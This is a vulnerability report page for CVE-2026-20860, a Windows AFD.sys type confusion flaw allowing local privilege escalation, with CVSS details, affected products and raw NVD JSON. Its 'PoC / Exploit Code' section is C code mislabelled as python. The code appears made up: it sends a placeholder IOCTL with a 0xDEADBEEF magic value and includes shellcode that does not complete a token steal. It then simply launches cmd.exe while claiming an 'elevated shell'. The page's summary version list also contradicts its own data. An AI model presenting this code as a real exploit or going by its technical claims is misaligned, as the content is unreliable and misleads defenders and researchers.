Security Vulnerability Report
中文
CVE-2026-20860 CVSS 7.8 HIGH

CVE-2026-20860

Published: 2026-01-13 18:16:15
Last Modified: 2026-01-15 15:29:06

Description

Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 版本 1809 及更高版本
Windows Server 2019 及更高版本
Windows 11 所有版本
Windows Server 2022 及更高版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20860 PoC - Type Confusion in Windows AFD.sys // This is a conceptual PoC for educational purposes only // Author: Security Researcher // Target: Windows Ancillary Function Driver for WinSock #include <windows.h> #include <winioctl.h> #include <stdio.h> // Define AFD device name #define AFD_DEVICE_NAME "\\\\.\\Global\\GLOBAL\\AFD" // Malicious IOCTL code (conceptual) #define IOCTL_AFD_TYPE_CONFUSION 0x12003B // Malicious data structure to trigger type confusion typedef struct _AFD_TYPE_CONFUSION_PAYLOAD { ULONG_PTR magic_value; // Magic value to trigger vulnerability ULONG_PTR object_type; // Target object type ULONG_PTR fake_vtable; // Fake vtable pointer ULONG_PTR shellcode_addr; // Shellcode address UCHAR padding[0x100]; // Padding for memory layout } AFD_TYPE_CONFUSION_PAYLOAD, *PAFD_TYPE_CONFUSION_PAYLOAD; // Shellcode for privilege escalation unsigned char shellcode[] = { 0x48, 0x31, 0xC0, // xor rax, rax 0x65, 0x48, 0x8B, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:188h] 0x4C, 0x8B, 0x42, 0x70, // mov r8, [rdx+70h] - EPROCESS offset 0x4D, 0x8B, 0x88, 0x80, 0x02, 0x00, 0x00, // mov r9, [r8+280h] - ActiveProcessLinks 0x49, 0x8B, 0x09, // mov rcx, [r9] 0x48, 0x8B, 0x51, 0x50, // mov rdx, [rcx+50h] 0x48, 0x8B, 0x82, 0x80, 0x02, 0x00, 0x00, // mov rax, [rdx+280h] 0xC3 // ret }; int main() { HANDLE hDevice; DWORD bytesReturned; AFD_TYPE_CONFUSION_PAYLOAD payload; printf("[*] CVE-2026-20860 PoC - AFD.sys Type Confusion\n"); printf("[*] Target: Windows Ancillary Function Driver\n"); // Initialize payload memset(&payload, 0, sizeof(payload)); payload.magic_value = 0xDEADBEEF; payload.object_type = 0x12345678; payload.fake_vtable = (ULONG_PTR)shellcode; // Open AFD device hDevice = CreateFileA( AFD_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open AFD device: %d\n", GetLastError()); return -1; } printf("[+] AFD device opened successfully\n"); // Send malicious IOCTL to trigger type confusion BOOL result = DeviceIoControl( hDevice, IOCTL_AFD_TYPE_CONFUSION, &payload, sizeof(payload), &payload, sizeof(payload), &bytesReturned, NULL ); if (result) { printf("[+] Type confusion triggered successfully\n"); printf("[*] Spawning elevated shell...\n"); system("cmd.exe"); } else { printf("[-] IOCTL call failed: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; } /* * Mitigation: * 1. Apply Microsoft security patches for CVE-2026-20860 * 2. Enable Windows Defender or other endpoint protection * 3. Restrict local administrative privileges * 4. Monitor for suspicious AFD.sys IOCTL operations * * Note: This PoC is for educational and research purposes only. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20860", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:14.970", "lastModified": "2026-01-15T15:29:06.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Acceso de recursos usando un tipo incompatible ('confusión de tipos') en el controlador de función auxiliar de Windows para WinSock permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20860", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}